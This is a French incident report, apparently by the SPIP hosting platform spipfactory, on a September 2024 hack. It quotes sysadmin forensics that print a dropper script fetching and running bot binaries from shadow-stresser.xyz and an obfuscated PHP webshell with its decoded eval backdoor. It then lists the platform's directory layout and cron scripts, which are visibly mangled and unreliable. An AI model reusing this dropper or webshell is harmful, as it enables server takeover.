Lors d’un Hack de la plateforme, il est intéressant de connaître la structure tant au niveau des répertoires que des fichiers la composant.
[*Pour rappel*]
La plateforme a été hackée en Septembre 2024, la connaissance des répertoires nous a permis de stopper et de rétablir celle-ci le 01/10/2024
– Chronologie de l’incident pour mémoire
- le 22 Septembre , nous constatons que l’accès SSH ne fonctionne plus
Infomaniak a pu reproduire le problème et l’a transmis aux administrateurs systèmes
- le 25 Septembre Analyse des administrateurs systèmes : la perte d’accès SSH est dûe au hack.
Nous avons "tué" le processus qui empêchait l’accès SSH mais tant que le site n’est pas nettoyé au peigne fin cela peut revenir
Si cela vous intéresse, voici en pièce-jointe les détails de nos administrateurs systèmes (c’est technique)
Un process très étrange :
STARTED UID PPID PID COMMAND COMMAND
Tue Sep 24 06:15:35 2024 100178 1 585 /bin/busybox nt /bin/busybox ntpd
$ lsof -p 585
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
/bin/busy 585 uid100178 cwd DIR 254,0 4096 192 /
/bin/busy 585 uid100178 rtd DIR 254,0 4096 192 /
/bin/busy 585 uid100178 txt REG 254,4 116607 202 /tmp/
/bin/busy 585 uid100178 0u IPv4 1580919333 0t0 TCP <redacted>.infomaniak.ch:42582->87.120.166.4:16379 (ESTABLISHED)
/bin/busy 585 uid100178 3u IPv4 1572483615 0t0 TCP localhost:1172 (LISTEN)
/bin/busy 585 uid100178 5u unix 0xffff9ecc25127000 0t0 1572489982 /home/www/.socks/spipfactory.com.sock.php8.2
/bin/busy 585 uid100178 6r REG 254,1 42 86859786 testescal/index.php
/bin/busy 585 uid100178 7u unix 0xffff9ed3a193bc00 0t0 1565546764 /home/www/.socks/spipfactory.com.sock.php8.2
/bin/busy 585 uid100178 9r CHR 1,9 0t0 1033 /dev/urandom
$ cat /proc/585/environ | tr '\0' '\n'
ntpd
R=tmp
TEMP=tmp
PWD=/tmp
SHLVL=1
TMP=tmp
OLDPWD=testescal
_=./x86_64
➜ ./sbin/ipinfo.sh -b
Enter IPs, end with ^D :
87.120.166.4
Please wait
[--------------------]
IP Reputation Organization Country Hostname
87.120.166.4 6 reports / last: 2024-09-23 AS215127 410 Teapot Limited Cyprus
On voit bien la connexion vire une IP de chypre en cours.
Je kill le process à coup de kill -9 585
Check du fichier tmp :
tmp$ ls
adminer.invalid sess_1c011ed311cc9bc0e986426ebb08aa2f sess_516316cb18ffb99a9153a3e54aad2676 sess_8e078418e232ad448c19f2f7c5594816 sess_c940c87b067a67db9bbced86733ce856
adminer.version sess_1c14e5a597bc3707d362e838c0902f3e sess_5163ebd91850c95dc7af3942389f1635 sess_8e1858ef18344f6bedb01f3df91b6963 sess_c9635e35f0219f9c8fa92875ff347622
c81e728d9d4c2f636f067f89cc14862c sess_1c6991237cf02de534f1c53859b190b9 sess_516a19c05b5acc5203e6397cdd46a453 sess_8e1b4b1a65396f35515785961ac7a972 sess_c99c9c323b31317114f1977d443c8fbc
d41d8cd98f00b204e9800998ecf8427e sess_1c8987e6f795754f13656b1d91616c3c sess_5192db14ef46d5da1fbb9c754419853e sess_8e1dd908f7b7bbc73914d3ade997e612 sess_c9a80376864366e5256461d803abc8a4
php0tjDCh sess_1c8caca64ca6a6eb618fec3a8e1664b2 sess_51f0ab15028ac4351c0f1b67c939ea41 sess_8e3ae184edb488dcdfd9e91386a64ba4 sess_c9d0c7670b068c43e543f57e51cc4ab7
php2XjACX sess_1c95bfad4c351b3a9c237ebaf0de2006 sess_520f14ad4b10c27983cc95be11e3c0a5 sess_8e786c1ad05cefbe5e886ef1dc84a3af sess_c9fc8592536790fd10daa3cd48186a7a
php2wxJUO sess_1d63d99e71acc2506a4e7f5b8c7c4732 sess_52427db8fa80d0771dc6b36cc30c59c9 sess_8ee5a00b77599716f895b12075fd4030 sess_ca061cce608fb4f68531da37337a5e23
php3JKeAr sess_1d9ee1f5396e8ba4307921fb5864c249 sess_526536c98fc54fd468228cb98119ff2a sess_8f07f5f2f4d8c8d5aec9ff6cdec76d5a sess_ca32aa449b7e666470a086078cac8571
...
1348 files and folders.
Cette infection ressemble à celle qu'on a pour les abuse ./python3.X / phpbb Je check si y'a pas son process copain qui permet de le lancer.
Liste des processes du client :
Tue Sep 24 16:26:42 2024 100178 30998 1888 php-fpm php-fpm: pool gben.be
Tue Sep 24 16:26:51 2024 100178 30998 2687 php-fpm php-fpm: pool spipfactory.fr
Tue Sep 24 16:26:51 2024 100178 30998 2690 php-fpm php-fpm: pool spipfactory.fr
Tue Sep 24 16:27:11 2024 100178 30998 3633 php-fpm php-fpm: pool larcenciel.be
Tue Sep 24 16:28:10 2024 100178 30998 6868 php-fpm php-fpm: pool divergences.be
Tue Sep 24 16:28:16 2024 100178 30998 7036 php-fpm php-fpm: pool spipfactory.fr
Tue Sep 24 16:28:34 2024 100178 30998 8313 php-fpm php-fpm: pool cghnm.spipfactory.org
Tue Sep 24 16:28:40 2024 100178 30998 8389 php-fpm php-fpm: pool agha.fr
Tue Sep 24 16:28:45 2024 100178 30998 8664 php-fpm php-fpm: pool mcinformactions.net
Tue Sep 24 16:28:57 2024 100178 30998 9419 php-fpm php-fpm: pool ag13.org
Tue Sep 24 16:29:09 2024 100178 30998 10124 php-fpm php-fpm: pool larcenciel.be
Tue Sep 24 16:29:32 2024 100178 30998 11339 php-fpm php-fpm: pool randosducrinchon.fr.spipfactory.org
Tue Sep 24 16:29:32 2024 100178 30998 11341 php-fpm php-fpm: pool flocar-sudouest.fr
Tue Sep 24 16:29:34 2024 100178 30998 11400 php-fpm php-fpm: pool agha.fr
Tue Sep 24 16:29:35 2024 100178 30998 11525 php-fpm php-fpm: pool agha.fr
Tue Sep 24 16:29:36 2024 100178 30998 11534 php-fpm php-fpm: pool flocar-sudouest.fr
Tue Sep 24 16:29:38 2024 100178 29240 11629 php-fpm php-fpm: pool agha.fr
Tue Sep 24 16:29:45 2024 100178 30998 11995 php-fpm php-fpm: pool genea26provence.com
Tue Sep 24 16:29:48 2024 100178 30998 12280 php-fpm php-fpm: pool agha.fr
Tue Sep 24 16:29:49 2024 100178 30998 12571 php-fpm php-fpm: pool panote.org
Tue Sep 24 16:29:49 2024 100178 30998 12574 php-fpm php-fpm: pool panote.org
Tue Sep 24 16:29:54 2024 100178 30998 12717 php-fpm php-fpm: pool genea26provence.com
Tue Sep 24 16:29:55 2024 100178 30998 12726 php-fpm php-fpm: pool gben.be
Tue Sep 24 16:29:58 2024 100178 30998 12762 php-fpm php-fpm: pool amisfaiencefine.fr
Tue Sep 24 16:30:00 2024 100178 30998 12780 php-fpm php-fpm: pool fleursdesakuramanga.net
Tue Sep 24 16:30:00 2024 100178 30998 12783 php-fpm php-fpm: pool cgmp-provence.org
Tue Sep 24 16:30:00 2024 100178 30998 12786 php-fpm php-fpm: pool cgmp-provence.org
Tue Sep 24 16:30:00 2024 100178 30998 12807 php-fpm php-fpm: pool amisfaiencefine.fr
Tue Sep 24 16:30:13 2024 100178 30998 14051 php-fpm php-fpm: pool universitepopulairetoulouse.fr
Tue Sep 24 16:30:13 2024 100178 30998 14053 php-fpm php-fpm: pool universitepopulairetoulouse.fr
Tue Sep 24 16:30:13 2024 100178 30998 14055 php-fpm php-fpm: pool apmep-iledefrance.fr
Tue Sep 24 16:25:49 2024 100178 30998 31910 php-fpm php-fpm: pool divergences.be
Visiblement c'est bon, il n'y a plus rien si ce n'est le dossier tmp tout pourri.
En allant voir le fichier ouvert par le méchant process :
<code>
$ cd testescal/
testescal$ ls -slah
total 7.6M
4.0K drwxr-sr-x 13 uid100178 gid100178 4.0K Sep 24 16:28 .
4.0K drwxr-sr-x+ 20 uid100178 gid100178 4.0K Aug 21 08:46 ..
24K -rw-r--r-- 1 uid100178 gid100178 22K Dec 24 2023 .htaccess
8.0K -rw-r--r-- 1 uid100178 gid100178 4.3K Dec 24 2023 .infomaniak-maintenance.html
4.0K -rw-r--r-- 1 uid100178 gid100178 84 Dec 24 2023 .user.ini
16K -rw-r--r-- 1 uid100178 gid100178 14K Dec 24 2023 CHANGELOG.md
0 drwxr-sr-x 2 uid100178 gid100178 71 Aug 30 08:42 IMG
36K -rw-r--r-- 1 uid100178 gid100178 35K Dec 24 2023 LICENSE
4.0K -rw-r--r-- 1 uid100178 gid100178 842 Dec 24 2023 README.md
4.0K -rw-r--r-- 1 uid100178 gid100178 178 Dec 24 2023 SECURITY.md
4.0K -rw-rw-rw- 1 uid100178 gid100178 28 Sep 12 10:51 cache.php
4.0K -rw-r--r-- 1 uid100178 gid100178 1.8K Dec 24 2023 composer.json
32K -rw-r--r-- 1 uid100178 gid100178 31K Dec 24 2023 composer.lock
0 drwxr-sr-x 3 uid100178 gid100178 102 Dec 24 2023 config
4.0K drwxr-sr-x 22 uid100178 gid100178 4.0K Dec 24 2023 ecrire
8.0K -rw-r--r-- 1 uid100178 gid100178 4.3K Dec 24 2023 htaccess.txt
4.0K -rw-r--r-- 1 uid100178 gid100178 42 Dec 24 2023 index.php
0 drwxr-sr-x 2 uid100178 gid100178 95 Dec 24 2023 local
4.0K drwxr-sr-x 8 uid100178 gid100178 4.0K Dec 24 2023 mutualisation
7.4M -rwxrwxrwx 1 uid100178 gid100178 7.4M Sep 21 22:38 netd
4.0K drwxr-sr-x 38 uid100178 gid100178 4.0K Dec 24 2023 plugins-dist
4.0K -rw-r--r-- 1 uid100178 gid100178 3.6K Dec 24 2023 plugins-dist.json
4.0K drwxr-sr-x 12 uid100178 gid100178 4.0K Dec 24 2023 prive
0 drwxr-sr-x 4 uid100178 gid100178 72 Dec 24 2023 sites
4.0K -rw-r--r-- 1 uid100178 gid100178 925 Dec 24 2023 spip.php
4.0K -rw-r--r-- 1 uid100178 gid100178 1.2K Dec 24 2023 spip.png
4.0K -rw-r--r-- 1 uid100178 gid100178 1.7K Dec 24 2023 spip.svg
4.0K drwxr-sr-x 10 uid100178 gid100178 4.0K Dec 24 2023 squelettes-dist
0 drwxr-sr-x 4 uid100178 gid100178 133 Dec 24 2023 tmp
0 drwxr-sr-x 6 uid100178 gid100178 151 Dec 24 2023 vendor
60K -rw-rw-rw- 1 uid100178 gid100178 58K Sep 6 02:09 x86.1
4.0K -rwxrwxrwx 1 uid100178 gid100178 409 Sep 11 01:39 zJqn1kz.shDes fichiers ont étés modifiés récemment et m’attire l’oeil :
testescal$ file x86.1 zJqn1kz.sh netd
x86.1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
zJqn1kz.sh: Bourne-Again shell script, ASCII text executable
netd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not strippedpas normal + le contenu est clairement un exploit :
testescal/IMG$ cat ../zJqn1kz.sh
#!/bin/bash
binaries=("arm7" "arm4" "arm6" "m68k" "mips" "mpsl" "ppc" "sh4" "spc" "x86")
base_url="https://shadow-stresser.xyz/bins/"
for binary in "${binaries[@]}"; do
url="${base_url}${binary}"
if ! curl -O "$url" 2>/dev/null; then
wget "$url" 2>/dev/null
fi
chmod +x "$binary" 2>/dev/null
./"$binary" 2>/dev/null
history -c 2>/dev/null
rm "$binary" 2>/dev/null
done
<code>
Je trouve rien sur https://shadow-stresser.xyz/ mais je suis certain que c'est pas un usage licite.
<code>
testescal/IMG$ cat spipp.php
<?php
$filename = 'inc.conf';
if (!file_exists($filename)) {
$a = "PD9jdWMKQGZyZmZ2YmFfZmduZWcoKTsKQGZyZ19ndnpyX3l2enZnKDApOwpAcmVlYmVfZXJjYmVndmF0KDApOwoKc2hhcGd2YmEgcmFwYnFyKCRRLCAkWCl7CiAgICBzYmUgKCR2ID0gMDsgJHYgPCBmZ2V5cmEoJFEpOyAkdisrKSB7CiAgICAgICAgJHAgPSAkWFskdiArIDEgJiAxNV07CiAgICAgICAgJFFbJHZdID0gJFFbJHZdIF4gJHA7CiAgICB9CiAgICBlcmdoZWEgJFE7Cn0KCiRjbmZmID0gJ2NuZmYnOwokY25seWJucUFuenIgPSAnY25seWJucSc7CiR4cmwgPSAnM3A2cjBvOG45cDE1MjI0bic7Cgp2cyAodmZmcmcoJF9DQkZHWyRjbmZmXSkpIHsKICAgICRxbmduID0gcmFwYnFyKG9uZnI2NF9xcnBicXIoJF9DQkZHWyRjbmZmXSksICR4cmwpOwoKICAgIHZzICh2ZmZyZygkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSkpIHsKICAgICAgICAkY25seWJucSA9IHJhcGJxcigkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSwgJHhybCk7CgogICAgICAgIHZzIChmZ2VjYmYoJGNubHlibnEsICJ0cmdPbmZ2cGZWYXNiIikgPT09IHNueWZyKSB7CiAgICAgICAgICAgICRjbmx5Ym5xID0gcmFwYnFyKCRjbmx5Ym5xLCAkeHJsKTsKICAgICAgICB9CgogICAgICAgIHJpbnkoJGNubHlibnEpOwogICAgICAgICR5cnNnID0gZmhvZmdlKHpxNSgkY25mZiAuICR4cmwpLCAwLCA1KTsKICAgICAgICAkZXJjeW5wcnFGZ2V2YXQgPSBmZ2VfZXJjeW5wcigib3FmcngiLCAkeXJzZywgImluZSBFcm9xZnJ4X3BiYXN2dD0iKTsKICAgICAgICB1cm5xcmUoJ1BiYWdyYWctR2xjcjogZ3JrZy91Z3p5Jyk7CiAgICAgICAgcnB1YiAnPCFRQlBHTENSIHVnenk+JzsKICAgICAgICBycHViICc8dWd6eSB5bmF0PSJyYSI+JzsKICAgICAgICBycHViICc8dXJucT4nOwogICAgICAgIHJwdWIgJzx6cmduIHB1bmVmcmc9IkhHUy04Ij4nOwogICAgICAgIHJwdWIgJzxndmd5cj5UcmdQYmFzdnRYcmw8L2d2Z3lyPic7CiAgICAgICAgcnB1YiAnPC91cm5xPic7CiAgICAgICAgcnB1YiAnPG9icWw+JzsKICAgICAgICBycHViICc8ZnBldmNnPic7CiAgICAgICAgcnB1YiAnPCEtLSBPbnZxaCBPaGdnYmEgT1JUVkEnOwogICAgICAgIHJwdWIgJzxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIiB2cT0ib3FmdW5lcl93ZiIgcW5nbj0iZ2xjcj1meXZxciZuemM7dnp0PTgmbnpjO2NiZj1ldnR1ZyZuemM7aHZxPTY1MzcwMjIiID48L2ZwZXZjZz4nOwogICAgICAgIHJwdWIgJzxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIiB2cT0ib3FmdXJ5eV93ZiI+PC9mcGV2Y2c+JzsKICAgICAgICBycHViICc8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+JzsKICAgICAgICBycHViICRlcmN5bnBycUZnZXZhdDsKICAgICAgICBycHViIG9uZnI2NF9yYXBicXIocmFwYnFyKEBlaGEoJHFuZ24pLCR4cmwpKTsKICAgICAgICBycHViICI7IjsKICAgICAgICBycHViICdxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgib3FmdXJ5eV93ZiIpLmZlcCA9ICJ1Z2djOi8vb3F2enQuZnVuZXIub252cWgucGJ6L2Znbmd2cC93Zi9mdXJ5eV9pMi53Zj9wcWFpcmVmdmJhPSIgKyBabmd1LnBydnkoYXJqIFFuZ3IoKS8zNjAwMDAwKTsnOwogICAgICAgIHJwdWIgJzwvZnBldmNnPic7CiAgICAgICAgcnB1YiAnLS0+JzsKICAgICAgICBycHViICc8L2ZwZXZjZz4nOwogICAgICAgIHJwdWIgJzwvb2JxbD4nOwogICAgICAgIHJwdWIgJzwvdWd6eT4nOwogICAgfSByeWZyIHsKICAgICAgICB2cyAoZmdlY2JmKCRxbmduLCAidHJnT25mdnBmVmFzYiIpICE9PSBzbnlmcikgewogICAgICAgICAgICAkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSA9IHJhcGJxcigkcW5nbiwgJHhybCk7CiAgICAgICAgfQogICAgfQp9Cj8+Cg==";
if (file_put_contents($filename, $a) === false) {
echo "please write youself to ./inc.conf".$a;
}
}
include 'php://filter/read=convert.base64-decode|string.rot13/resource=inc.conf';Tiens tiens tiens, un base64 decode, rot13 plus tard :
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D, $K){
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
$data = encode(base64_decode($_POST[$pass]), $key);
if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key);
}
eval($payload);
$left = substr(md5($pass . $key), 0, 5);
$replacedString = str_replace("bdsek", $left, "var Rebdsek_config=");
header('Content-Type: text/html');
echo '<!DOCTYPE html>';
echo '<html lang="en">';
echo '<head>';
echo '<meta charset="UTF-8">';
echo '<title>GetConfigKey</title>';
echo '</head>';
echo '<body>';
echo '<script>';
echo '<!-- Baidu Button BEGIN';
echo '<script type="text/javascript" id="bdshare_js" data="type=slide&img=8&pos=right&uid=6537022" ></script>';
echo '<script type="text/javascript" id="bdshell_js"></script>';
echo '<script type="text/javascript">';
echo $replacedString;
echo base64_encode(encode(@run($data),$key));
echo ";";
echo 'document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=" + Math.ceil(new Date()/3600000);';
echo '</script>';
echo '-->';
echo '</script>';
echo '</body>';
echo '</html>';
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
?>Voici une IP qui a essayé de contacter le reverse shell :
$ zcat ik-logs/access.log* | grep spipp.php
gzip: ik-logs/access.log: not in gzip format
spipfactory.com 103.160.144.135 - - [30/Aug/2024:08:42:09 +0200] "GET /IMG/spipp.php HTTP/1.1" 404 985 "-" "python-requests/2.32.3"
spipfactory.com 103.160.144.135 - - [30/Aug/2024:08:42:11 +0200] "GET /IMG/spipp.php HTTP/1.1" 404 985 "-" "python-requests/2.32.3"
gzip: ik-logs/access.log-20240923: not in gzip format
Origine de l'IP
➜ ./sbin/ipinfo.sh -b
Enter IPs, end with ^D :
103.160.144.135
Please wait
[--------------------]
IP Reputation Organization Country Hostname
103.160.144.135 0 reports / last: AS134465 M/S HARVIL MEDIA India free.hapihhost.in.144.160.103.in-addr.arpa.- le 28 septembre nous passons l’antivirus sur la plateforme (Aucune menace sur l’ensemble des sites) et Patchman Security Scanner nous signale rien au niveau de notre structure (Patchman Security Scanner neutralise les malware et répare les vulnérabilités du code)
- le 29 septembre les sites de la plateforme sont hackés
- le 30 Septembre nous constatons un répertoire /testescal avec un fichier douteux ZX81 (Il nous est impossible de le suprimer.) et le fichier zJqn1kz.sh
Nous demandons des précisions et le nettoyage à nos administrateurs systèmes
- le 30 septembre fin d’après-midi : C’est bien nettoyé pour ce dossier , il y avait en effet un processus malveillant lancé avec ce fichier bloqué
- le 31 nous demandons des précisions sur ce processus malveillant
malheureusement nos administrateurs systèmes ne font pas d’investigation sur les origine des hacks, car cela est fréquent et lié à l’applicatif des clients.
Par ordre de fréquence, les dépôts de fichiers malveillants se font :
– Par un composant (Plug-In, thème) obsolète ou non sécurisé
– Par un compte FTP compromis (par un malware (sous Windows souvent) sur un poste qui a initié la connexion FTP par exemple)
– Par l’accès au compte Infomaniak du client (dans le cas ou la 2FA n’est pas activée et le mot de passe compromis) (plus rare)
Les hacks sont de plus souvent de "l’ingénierie" assez sophistiquée avec des mécanismes de dormance de scripts, de mise en abîme, de chiffrage de code malveillant par diverses méthodes.
Retrouver l’origine d’un dépôt de fichier est passionnant mais peu prendre des heures voir des jours même pour un administrateurs systèmes averti
[*Analyse global de l’incident*]
La plateforme a été hacké en passant par le site spipfactory.com ; celui-ci été hors mutu et ne bénéficié pas de la mise a jour automatique ; Il été resté en SPIP 4.2.
[*Mesure corrective*]
- plus aucun site sera hors mutualisation
- Supression de l’accés FTP
Notre structure
- Racine
| /.cache | infomaniak - de "composeur" : Logiciel qui permet de raccorder un ordinateur à un autre ordinateur, à un appareil électronique, au réseau Internet ou à un autre réseau numérique. |
| /.config | infomaniak pas d’accés |
| /.local | infomaniak - fichier Spip-cli & composer |
| /.ssh | infomaniak - les clés SSH sont une méthode d’authentification utilisée pour accéder à une connexion chiffrée entre des systèmes |
| /.subversions | infomaniak - Subversion est un logiciel libre de la catégorie systèmes de gestion de versions (VCS en anglais, pour Version Control System) |
| /adaptionsSF | Répertoires & fichiers perso de la plateforme (sauvegarde, images, etc...) n’ayant pas vocation a etre sur la mutualisation (pas de visibilité |
| /backups | infoamniak - les 6 jours de sauvegardes de la plateforme (répertoire & fichier hors bdd) |
| /clef | fichier ODT pour la team (login & pass) |
| /archives | les archives des fichiers clé.odt |
| /cron | les script sh pur les taches automatique (fichier php (lance le sh) & sh) |
| denyfromall.php & ssh | script de maj .htaccess |
| maj_spipfactory_fr.php & ssh | script de maj SPIP + PLugins + cache/tmp |
| sf_voldd.php & ssh | script pour conaitre le volume disk utilisé (marcel) |
| stef.php & ssh | script de sauvegarde plateforme perso |
| /htaccess | fichier .htaccess modifié avant maj par le script (inscription des ip a bloqué) |
| i/k-logs | infomaniak - les logs |
| /mutusf | les répertoires et fichiers necessaire a la mutualisation de SPIP (spip + pseudo plugin mutualisation) |
| /sites | l’ensemble des sites de la mutualisations (les hébergés) |
| /spip-cli | SPIP-Cli sert à interagir avec SPIP depuis la ligne de commande |
| /stats | infomaniak - les statistiques des sites hébergés |
| /tmp | infomaniak - fichier temporaire |
| .bash_history | infomaniak - historique des commandes passé dans le terminal en ssh |
| .bash_hrc | infomaniak - .bashrc est un script de l’interpréteur de commandes Bash que Bash exécute chaque fois qu’il est démarré de manière interactive. |
| .my.cnf | le login et pass pour executer le script de sauvegarde (evite d’avoir le login et pass en dur dans le script) |
| .nano_history | infomaniak - Historique d enano : nano est un éditeur de texte pour les systèmes Unix et dérivés |
| .profile | commandes pour spipcli |
## mise a jour du .htaccess
cd /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf
mv .htaccess .htaccess.old
cp -r /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/htaccess/.htaccess /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/
echo "Mise à jour du .htaccess sur la plateforme" | mail -s "Maj .htaccess" team@spipfactory.fr
# !/bin/bash
# date=04/09/2023 - stéphane
###maj spip + plugins + plugins-dist + plugins-dist/spipfactory
cd /mutusf/
find -type d -name ".git" -exec git —git-dir={} —work-tree=$PWD/{}/.. pull ~;
## vider l’ensemble des media orphelin des mutualisé
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name orphelins |grep IMG ; do rm -rf $repertoire ; done
### vider l’ensemble des cache des mutualisé
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name cache |grep tmp ; do rm -rf $repertoire ; done
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name meta_cache.php |grep tmp ; do rm -rf $repertoire ; done
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name plugin_xml_cache.gz |grep tmp ; do rm -rf $repertoire ; done
### on nettoie le tmp
# évite qu’un hébergé stocke x sauvegarde, sachant qu’on a déja /backup sur la mutu
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name dump |grep tmp ; do rm -rf $repertoire ; done
mail -s "Email de SpipFactory plateforme" team@spipfactory.fr <<< "Exécution de la tache CRON de mise a jour SPIP + Plugins"
# ! /bin/bash
# Modifié le : 17/09/2022 - stéphane
cd /sites/
spipfactory=$(du -sh) #aucun espace autour du égal ! les sont désuets
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -sh)" | mail -s "Marcel vous donne l'espace disk utilisé par les sites de la plateforme spipfactory" team@spipfactory.fr
cd ~/sites/
spipfactory=$(du -sB G * | sort -k1n) #aucun espace autour du égal ! les sont désuets
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -hsx * | sort -rh | head -40)" | mail -s "Marcel donne le volume disk par sites de la plateforme spipfactory" team@spipfactory.fr
cd /sites/
spipfactory=$(du -sB G */IMG/ | egrep "^.+\/IMG\/$" | sort -k1nr)
#https://discuter.spip.net/t/connaitre-le-volume-du-repertoire-img/172378/5
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -sB G */IMG/ | egrep "^.+\/IMG\/$" | sort -k1nr)" | mail -s "Marcel donne le volume du répertoire /IMG pour chaque Hébergés de la plateforme spipfactory " team@spipfactory.fr
cd /sites/
spipfactory=$(du -sB G */squelettes/ | egrep "^.+\/squelettes\/$" | sort -k1nr) #aucun espace autour du égal ! les ` sont désuets
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -sB G */squelettes/ | egrep "^.+\/squelettes\/$" | sort -k1nr)" | mail -s "Marcel donne le volume du répertoire /squelettes pour chaque Hébergés de la plateforme spipfactory " team@spipfactory.fr
# !/bin/bash
version=0.1
cree=13.05.2019
auteur=EmmanuelPierrez
###################### Parametres ######################
host=pm7hj.myd.infomaniak.com
date_jour=$( date ’+%Y%m%d’ )
format=gzip
#tache cron infomaniak lancer une fois par semaine
#sauvegarde de la bdd sur 8 semaines glissante
retention=8 # nombre de sauvegardes
backup_dir=squelettes/backup # Repertoire de sauvegarde
skipdatabases="Database|information_schema|performance_schema|mysql"
###################### Fonctions #######################
liste_bases()
local skipdatabases="Database|information_schema|performance_schema|mysql|pm7hj_piwigo" # bases a ignorer dans la recherche, format regex
mysql "$optionSql[@]" -e "SHOW DATABASES ;" | grep -Ev "($skipdatabases)" # liste tables
# $1, liste des bases a sauvegarder
sauvegarde_bases()
local databases="$1" db output path site fichier date_fichier epoch_limite epoch_day
for db in $databases ; do
echo -n "$db "
while read -r ; do
site=$REPLY#http* ://
done <<< "$( mysql "$optionSql[@]" -e "USE $db ; SELECT valeur FROM spip_meta WHERE nom=’adresse_site’ LIMIT 1" 2>/dev/null )"
site=$site#www.
echo "site : $site"
# Pour faire des tests
#if [1] ; then
# mis a jour par stéphane suite au changement de path le 06/08/2020
path="/home/clients/b313813ae3dfa81e21eb5a95d7ad323f/sites/$site"
# date du jour en secondes
epoch_day=$( date +%s )
case $format in
sql )
output="$path/$backup_dir/$date_jour_$db.sql"
echo "##### $output #####"
mysqldump "$optionSql[@]" "$optionDump[@]" —databases "$db" > "$output" ; ;
gzip )
output="$path/$backup_dir/$date_jour_$db.sql.gz"
echo "##### $output #####"
mysqldump "$optionSql[@]" —databases "$db" | gzip —rsyncable > "$output" ; ;
esac # fin de case
# Ajouter config/mesoptions.php et repertoires squelettes et IMG a un fichier tar.gz
if [2] ; then
lastChange=$(stat -c %Y "$path/IMG/")
if (( lastChange > epoch_day-86400 )) ; then
#rm "$path/$backup_dir/fichiers_$db.tar.gz"
tar —exclude="$path/$backup_dir" -cvzf "$path/$backup_dir/fichiers_$db.tar.gz" "$path/config/mes_options.php" "$path/squelettes/" "$path/IMG/"
echo "modification recente, je refais l’archive"
else
echo "Pas de changement"
fi
# si l’archive n’existe pas Creer
else
tar —exclude="$path/$backup_dir" -cvzf "$path/$backup_dir/fichiers_$db.tar.gz" "$path/config/mes_options.php" "$path/squelettes/" "$path/IMG/"
echo "archive generee"
fi
# suppression des vieilles sauvegardes
epoch_limite=$((epoch_day-86400*retention))
# liste des fichiers dans le repertoire
shopt -s nullglob # ne pas prendre en compte les repertoires
for fichier in "$path/$backup_dir"/* ; do
nom_fichier=$fichier##/*/
date_fichier=$nom_fichier%%_*
echo "date_fichier $date_fichier"
if [3]1,8 ]] ; then
epoch_fichier=$( date —date="$date_fichier" +%s )
echo "epoch_fichier $epoch_fichier"
if (( epoch_fichier <= epoch_limite )) ; then
echo "suppression $fichier $epoch_fichier <= $epoch_limite "
rm $fichier
fi
fi
done
# fin site = amifaiencefine
#fi
done
###################### SCRIPT ##########################
# extraction du home selon session interactive ou non
if [4] ; then
home="$HOME"
elif [5] ; then
home=$( dirname "$TMP" )
else
exit 1
fi
source $home/.my.cnf 2>/dev/null
optionSql=(
"—host=$host"
"—port=$port :=3306"
"—protocol=$protocol :=tcp"
"—user=$user"
"—password=$password"
)
# sauvegarde
sauvegarde_bases "$( liste_bases )"
mail -s "Email de SpipFactory plateforme" team@spipfactory.fr <<< "Exécution de la tache CRON de sauvegarde des sites hébergés dans le répertoire /backup"